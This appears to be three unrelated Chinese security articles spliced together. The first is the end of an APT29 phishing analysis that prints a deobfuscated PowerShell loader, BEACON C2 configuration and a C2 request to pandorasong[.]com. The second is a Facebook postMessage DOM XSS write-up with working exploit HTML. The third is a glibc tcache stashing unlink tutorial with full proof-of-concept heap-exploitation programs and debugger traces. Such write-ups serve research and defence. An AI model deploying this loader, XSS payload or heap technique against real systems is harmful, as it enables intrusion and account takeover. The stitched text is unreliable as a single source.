PowerShell加载器代码也是混淆过的，下面是反混淆的一段代码。诱饵PDF和BEACON加载器DLL都是从LNK中特定的offset中读取的，然后解码并执行。BEACON加载器DLL是用`PointFunctionCall`输出函数执行的：
[TRUNCATED]
$jzffhy = [IO.FileAccess]::READ
$gibisec = myayxvj $("ds7002.lnk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$lblij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PDF") Invoke-Item
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%\cyzfc.dat") if
($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rundll32.exe")) $(",")
$("PointFunctionCall") }
## 释放的文件
LNK文件从执行后，会释放以下文件到受害者系统中：
* %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
* BEACON loader DLL
* %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)
* Decoy document
释放的BEACON loader DLL是`RunDll32.exe`用输出函数`PointFunctionCall`执行的：
"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall
BEACON payload含有以下配置信息：
authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: pandorasong.com
http_headers_c2_request:
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong[.]com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
%windir%\\syswow64\\rundll32.exe
%windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
conntype: SSL
host: pandorasong[.]com
port: 443
c2_urls:
pandorasong[.]com/radio/xmlrpc/v45
pandorasong[.]com/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
## 网络通信
恶意软件成功安装或初始化后，会通过TCP/443 SSL回调C2服务器`pandorasong[.]com`。样本配置为使用malleable C2
profile进行网络通信。profile使用的公开的Pandora C2
profile的修改版。profile被修改为绕过特定的检测。样本GET请求如下：
GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldlbhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko
HTTP/1.1
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong.com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko
Connection: Keep-Alive
Cache-Control: no-cache
### 对比之前活动
图5和图6表示本次攻击活动中使用的LNK`ds7002.lnk和2016年11月APT 29攻击活动中使用的LNK`37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk`的对比。
图5: LNK特征对比：2018新活动（左）vs 2016年攻击活动（右）
图6: LNK特征对比：2018新活动（左）vs 2016年攻击活动（右）
除了LNK特征相似外，PowerShell命令也非常相似。如图7和图8所示，2016年样本中的一些变量名也出现在2018年新攻击活动的样本中：
图7: 嵌入的PowerShell：2018新活动（左）vs 2016年攻击活动（右）
图8: 共享的字符串混淆逻辑：新LNK活动（左）vs 2016年VERNALDROP活动（右）
<https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html> | 社区文章 |
> window.postMessage()方法保证窗口对象之间的安全跨域通信；例如，在页面和它产生的弹出窗口之间，或者在页面和嵌入其中的iFrame之间。
更多关于window.postMessage()方法的知识可以查阅[Mozilla
PostMessag](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage "Mozilla PostMessag")e文档
如果想了解更多关于postMessage和跨域通信的知识，可以动一动小手戳以下链接
[How cross window/frame communication happens in
Javascript](https://javascript.info/cross-window-communication "How cross
window/frame communication happens in Javascript")
<https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/>
<https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/>
# 背景
> postMessage触发的DOM XSS可能被多数的赏金猎人忽略了，他们大都以为这是一个很低级的漏洞。
最近，我的研究重点从管理员面板转向了客户端漏洞（如果查看我的[HackerOne报告](https://hackerone.com/vinothkumar
"HackerOne报告")，我的大多数漏洞报告都是打开后台管理员面板或Github凭据泄漏）.
一开始，我研究了XSSI、JSONP和postMessage的漏洞。但是XSSI和JSONP漏洞非常少见，自从引入了[SameSite
cookie](https://blog.reconless.com/samesite-by-default/ "SameSite cookie")
之后，这些漏洞就不存在了。因此，知难而退，我开始研究postMessage漏洞，但大多数安全防护人员都忽略了这种漏洞，且它非常易于调试且无需绕过防火墙。
另外，为了方便起见，我创建了一个Chrome[扩展程序](https://github.com/vinothsparrow/iframe-broker
"扩展程序")来查看/记录发生在网页上的跨窗口通信。
通常，网站在小部件、插件或WebSDK上使用IFRAME通信。因此我开始研究facebook的[第三方插件](https://developers.facebook.com/
"第三方插件")原理。
我发现`Facebook Login SDK for
JavaScript`创建了一个用于跨域通信的代理iframe`V6.0/plugins/login_button.php`。代理框架渲染“Continue
with Facebook”按钮。但有趣的是，javascript SDK向代理框架发送了一个初始化有效负载，其中包含按钮的单击URL。登录SDK流程如下
1
<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>
2
Facebook Javascript SDK将初始有效负载发送到iFrame代理。
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*')
3
When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe.
Which is the url from postMessage payload
4
弹出窗口通过以下方式将访问令牌和签名请求发送到第三方网站。
window.opener.parent.postMessage(result，Origin)
如果我们仔细查看有效负载，SDK会将url参数发送到facebook插件iframe，并将其转换为i变量，当按钮单击事件触发时，将执行下面的函数。
i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));
可以通过`window.open('javascript:alert(document.domain)')`触发DOMXSS，而且JavaScript中没有url/schema验证。
因此，如果我们将带有`url:'javascript:alert(document.domain)'`的有效负载发送到`https://www.facebook.com/v6.0/plugins/login_button.php`
iframe，当用户单击Continue With
Facebook按钮时，`javascript:alert(document.domain)`会在facebook.com域上执行。
# exploit the iframe
有两种方法可以利用这个bug。
通过打开弹出窗口并与其通信。
打开iFrame并与其通信
## Pop-up method
<script>
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");
setTimeout(function(){
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
opener.postMessage(message, '*');
},'4000');
</script>
## Iframe method
由于此端点缺少“X-Frame-Options”或CSP“Frame-Anchors”标头，因此很容易将此页面嵌入到攻击者的页面中。
<script>
function fbFrameLoaded() {
var iframeEl = document.getElementById('fbframe');
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>
# 修复
d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())
Facebook通过在有效负载url参数中添加facebook.com regex域和模式检查修复了此问题。
# 影响
由于post
message配置不正确，当用户访问被攻击者控制的网站时，如果用户单击了Facebook按钮，就会触发fackbook.com域上的XSS。一键式账户接管就完成了。
# 时间线
2020年4月17日-发送初次漏洞报告。
2020年4月17日-报告确认。
2020年4月29日– Facebook确认修复bug。
2020年5月1日– 奖励2w美元赏金。
https://vinothkumar.me/20000-facebook-dom-xss/ | 社区文章 |
# glibc 2.29引入 stash 机制后引起的相关漏洞学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
以下示例的libc源码均为libc2.31.
## fastbin的stash机制
这里分析一下对于fastbin的stash机制
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size在fastbin范围内
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL) //如果有chunk
{
if (SINGLE_THREAD_P)
*fb = victim->fd; //取出头chunk
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
//if USE_TCACHE，且看到此fastbin链表下，存在相同大小的bins（也就是一条chain），进行Stash。过程：把剩下的bins放入Tcache中
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins) //如果属于tcache管辖范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache没满，并且fastbin还有chunk
{
if (SINGLE_THREAD_P) //从fastbin中取出
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//放入tcache中
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}
也就是比如当一个线程申请0x50大小的chunk时，如果tcache没有，那么就会进入分配区进行处理，如果对应bin中存在0x50的chunk，除了取出并返回之外，ptmalloc会认为这个线程在将来还需要相同的大小的chunk，因此就会把对应bin中0x50的chunk尽可能的放入tcache的对应链表中去。
### Tcache Stashing 遇上 fastbin double free
假设有个double free可以触发，其用到fastbin上：
进行free 多次构成：
为了触发stash，先申请完tcache里的chunk，让其为空，（或者让其不满也可以）
然后再申请一下同size的chunk，就会触发stash。也是其精妙之处，在glibc2.27以下，往往是这样的构造：
主要由于fastbin 取出时，其会检查size是否相符合，导致很受限制。此时其基本就是可以攻击带有0x7f,去攻击libc上的内存。
但是有了stash这个机制，其就变成了以下的情况：
由于上来申请同size的chunk时触发了stash机制，其会把fastbin里剩下的chunk放入到tcache中。由于chunk
7的fd是可以控制的，写入tag地址，然后放入chain的chunk ，也就是chunk 8 、7 、tag 。这就相当于劫持了tcache
chain，可以实现任意地址写。
### 相关例题
* bytectf2020 gun （libc2.31）
* 太湖杯 seven hero （libc2.29）
## smallbin的stash机制
对于smallbin的stash机制：
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx); //smallbin 从chain尾开始取到的chunk的fd位位 bin值 （根据 FIFO，即为最先放入的 Chunk）
if ((victim = last (bin)) != bin) //victim 即为刚刚取到的chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //验证双向链表是否正常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 victim 的后一个 Chunk，将 victim 后一个 Chunk 的 fd 指向 bin，即将 victim 取出
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk，将 tc_victim 后一个 Chunk 的 fd 指向 bin，即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
也就是在smallbin分配之后，如果smallbin链表中仍然存在堆块，并且对应的tcache list没有满chain的话，就会将small
bin链表中所有的堆块放入到相应的tcache中。
**当然要发生这种分配的方式，必须要越过tcache优先分配堆块，calloc的分配是不从tcache bin里取chunk的，即可满足。**
下面跟着示例代码和glibc相关源码调试来学习一下：
### `tcache_stashing_unlink`
#### 示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to write a big number to arbitrary address instead of unsortedbin attack\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: 0x%lx\n", &victim, victim);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. choose a stable size and free six identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4, t1-0x60*5);
printf("\n3. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
/* 将两个大小相同的块（如tcache_entry）释放到相应的smallbin中 */
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n4. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n5. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Finally, the victim's value is changed to a big number\n");
printf("Now, victim's value: 0x%lx\n", victim);
return 0;
}
#### 编译命令
gcc -g ./tcache_stashing_unlink.c -o tcache_stashing_unlink
-g 编译是可以让gdb显示源码
#### 调试过程
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
先往tcache 中0x60的bin chain 上放入6个bin.。
接着将两个大小相同的块（如`tcache_entry`）释放到相应的smallbin中。
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555555594f0 (size : 0x430)
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x5555555598c0 (size : 0x60)
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
可以看到0x5555555598c0是在`last_remainder`之中的，由于其不会进入tcache的特性，就可以进入到smallbin中。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559a60 (size : 0x205a0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
接着重复这个步骤，在构造一个进入smallbin的chunk。
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80); //防止合并的pad chunk，其必须大于0x60
free(s2);
malloc(0x3c0);
malloc(0x100);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555555a030 (size : 0x1ffd0)
last_remainder: 0x555555559e30 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x555555559e30 <--> 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
可以看到已经完成构造了。接着进行change 0x555555559e30 的bk为目标地址-0x10。
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
原始：
pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x00007ffff7fb9c30
change 后：
pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x0000555555558040
0x555555559e50: 0x0000000000000000 0x0000000000000000
再看下即将被calloc申请到的smallbin：
pwndbg> x/30gx 0x5555555598c0
0x5555555598c0: 0x0000000000000000 0x0000000000000061
0x5555555598d0: 0x00007ffff7fb9c30 0x0000555555559e30
calloc(1, 0x50);
其先会进行一个解链：
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk; //1
if (__glibc_unlikely (bck->fd != victim)) //2 明显是可以通过其双向链表的检查，会被正常的解链
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
接着会进行stash：
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
可以看到这一块，并没有进行双向链表的检查。其中`bck->fd = bin;`这个也就是对于 (&tag – 0x10) + 0x10 =
bin。也就是将目标地址上的值赋为 bin，这样就实现了等价于 unsortedbin Attack 的操作。
pwndbg> x/30gx 0x0000555555558050
0x555555558050 <victim>: 0x00007ffff7fb9c30 0x0000000000000000
可以看到攻击已经成功。
0x60) tcache_entry[4](7): 0x555555559e40 --> 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
且已经满chain，结束了stash的过程。
需要注意的是，刚才描述的放入过程是一个循环，我们将伪造的bck看成一个堆块，其bk很可能是一个非法的地址，这样就导致循环到下一个堆块时unlink执行到`bck->fd
= bin;`访问非法内存造成程序crash。所以开始，选择释放6个对应size的chunk到tcache
bin，只为tcache留一个空间，这样循环一次就会跳出，不会有后续问题。
#### 小总结
* 先放入 2 个 Chunk 到 smallbins，6 个 Chunk 到对应的 tcache；
* 然后在不破坏 fd 的情况下,将后放入 smallbins 的 chunk 的 bk 设置为目标地址减 0x10。
* 这样再用calloc向 smallbins 申请对应大小的 Chunk 时，先放入 smallbins 的 Chunk 被分配给用户，然后触发 stash 机制。`bck = tc_victim->bk;`此时的 bck 就是目标地址减 0x10，之后`bck->fd = bin;` 也就是将目标地址上的值赋为 bin，写上了`main_arena`的地址，这样就实现了等价于 unsortedbin attack 的操作；
* 之后再调用 `tcache_put` 把后放入 smallbins 的 Chunk 取出给对应的 tcache ，因为 tcache 之前已经被布置了 6 个 Chunk，在这次之后达到了阈值，所以也就退出了 stash 循环，整个流程就会正常结束。
### `tcache_stashing_unlink plus`
#### 示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
//只要是一个可以写的指针地址即可，不一定是&victim
victim[1] = (uint64_t)(&victim);
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}
由于大多地方调试信息都相似，只分析一下重点处的相关信息：
#### 重点调试过程
b 70
先断在源程序代码的第70行，下面紧跟着的是calloc.
看下内存信息：
被恶意chage的smallbin chunk：
pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x0000555555559860 0x0000555555558050(tag-0x10)
即将被取走的smallbin chunk：
pwndbg> x/30gx 0x0000555555559860
0x555555559860: 0x0000000000000000 0x0000000000000061
0x555555559870: 0x00007ffff7fbac30 0x0000555555559dd0
接着si进入calloc内部,进入malloc.c：
pwndbg> b 3654
Breakpoint 3 at 0x7ffff7e69c87: file malloc.c, line 3655.
直接断在stash区进行分析:
##### 第一轮的stash：
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk
pwndbg> p tc_victim
$19 = (mchunkptr) 0x555555559dd0
pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x00007ffff7fbac30 0x0000555555558050
{
if (tc_victim != 0)
{
bck = tc_victim->bk; //bck = tag-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //tag - 0x10 被写在bin->bk处
bck->fd = bin; //bin 被写在tag处
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk，将 tc_victim 后一个 Chunk 的 fd 指向 bin，即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}
pwndbg> x/30gx 0x0000555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 <victim>: 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 <victim+16>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x00007ffff7fbac30
0x7ffff7fbac30 <main_arena+176>: 0x00007ffff7fbac20 0x00007ffff7fbac20
0x7ffff7fbac40 <main_arena+192>: 0x0000555555559dd0 0x0000555555558050（tag - 0x10）
tcache 放入了 `tc_victim = 0x555555559de0`
